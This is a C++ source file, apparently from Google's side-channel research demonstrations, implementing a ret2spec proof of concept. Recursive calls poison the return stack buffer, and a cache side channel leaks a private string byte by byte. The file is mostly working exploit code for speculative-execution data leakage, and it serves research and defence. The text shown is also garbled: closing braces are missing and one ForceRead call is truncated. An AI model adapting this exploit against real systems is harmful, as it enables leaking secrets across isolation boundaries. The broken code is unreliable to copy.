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* Copyright 2019 Google LLC
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* See the License for the specific language governing permissions and
* limitations under the License.
* Demonstration of ret2spec that exploits the fact that return stack buffers
* have limited size and they can be rewritten by recursive invocations of
* another function.
* We have two functions that we named after their constant return values. First
* the ReturnsTrue function invokes itself kRecursionDepth times and in the
* deepest invocation it calls ReturnsFalse function. Returns_false function
* invokes itself kRecursionDepth times. All returns of the ReturnsFalse
* function are predicted correctly, but returns of ReturnsTrue function are
* mispredicted to the return address of the ReturnsFalse function, because all
* RSB pointers were rewritten by ReturnsFalse invocations. We steer those
* mispredictions to an unreachable code path with microarchitectural side
* effects.
#include <array>
#include <cstring>
#include <iostream>
#include <vector>
#include "cache_sidechannel.h"
#include "instr.h"
#include "local_content.h"
#include "utils.h"
// Recursion depth should be equal or greater than the RSB size, but not
// excessively high because of the possibility of stack overflow.
constexpr size_t kRecursionDepth = 64;
constexpr size_t kCacheLineSize = 64;
// Global variables used to avoid passing parameters through recursive function
// calls. Since we flush whole stack frames from the cache, it is important not
// to store on stack any data that might be affected by being flushed from
// cache.
static size_t current_offset;
static const std::array<BigByte, 256> *oracle_ptr;
// Return value of ReturnsFalse that never changes. Avoiding compiler
// optimizations with it.
bool false_value = false;
// Pointers to stack marks in ReturnsTrue. Used for flushing the return address
// from the cache.
std::vector<char *> stack_mark_pointers;
// Always returns false.
static bool ReturnsFalse(int counter) {
if (counter > 0) {
if (ReturnsFalse(counter - 1)) {
// Unreachable code. ReturnsFalse can never return true.
const std::array<BigByte, 256> &oracle = *oracle_ptr;
ForceRead( +
static_cast<unsigned char>(private_data[current_offset]));
std::cout << "Dead code. Must not be printed." << std::endl;
return false_value;
// Always returns true.
static bool ReturnsTrue(int counter) {
// Creates a stack mark and stores it to the global vector.
char stack_mark = 'a';
if (counter > 0) {
// Recursively invokes itself.
ReturnsTrue(counter - 1);
} else {
// In the deepest invocation starts the ReturnsFalse recursion.
// Cleans-up its stack mark and flushes from the cache everything between its
// own stack mark and the next one. Somewhere there must be also the return
// address.
FlushFromCache(&stack_mark, stack_mark_pointers.back());
return true;
static char LeakByte() {
CacheSideChannel sidechannel;
oracle_ptr = &sidechannel.GetOracle();
const std::array<BigByte, 256> &oracle = *oracle_ptr;
for (int run = 0;; ++run) {
// Stack mark for the first call of ReturnsTrue. Otherwise it would read
// from an empty vector and crash.
char stack_mark = 'a';
std::pair<bool, char> result = sidechannel.AddHitAndRecomputeScores();
if (result.first) {
return result.second;
if (run > 100000) {
std::cerr << "Does not converge " << result.second << std::endl;
int ret2spec_sa_main() {
std::cout << "Leaking the string: ";
for (size_t i = 0; i < strlen(private_data); ++i) {
current_offset = i;
std::cout << LeakByte();
std::cout << "\nDone!\n";
return 0;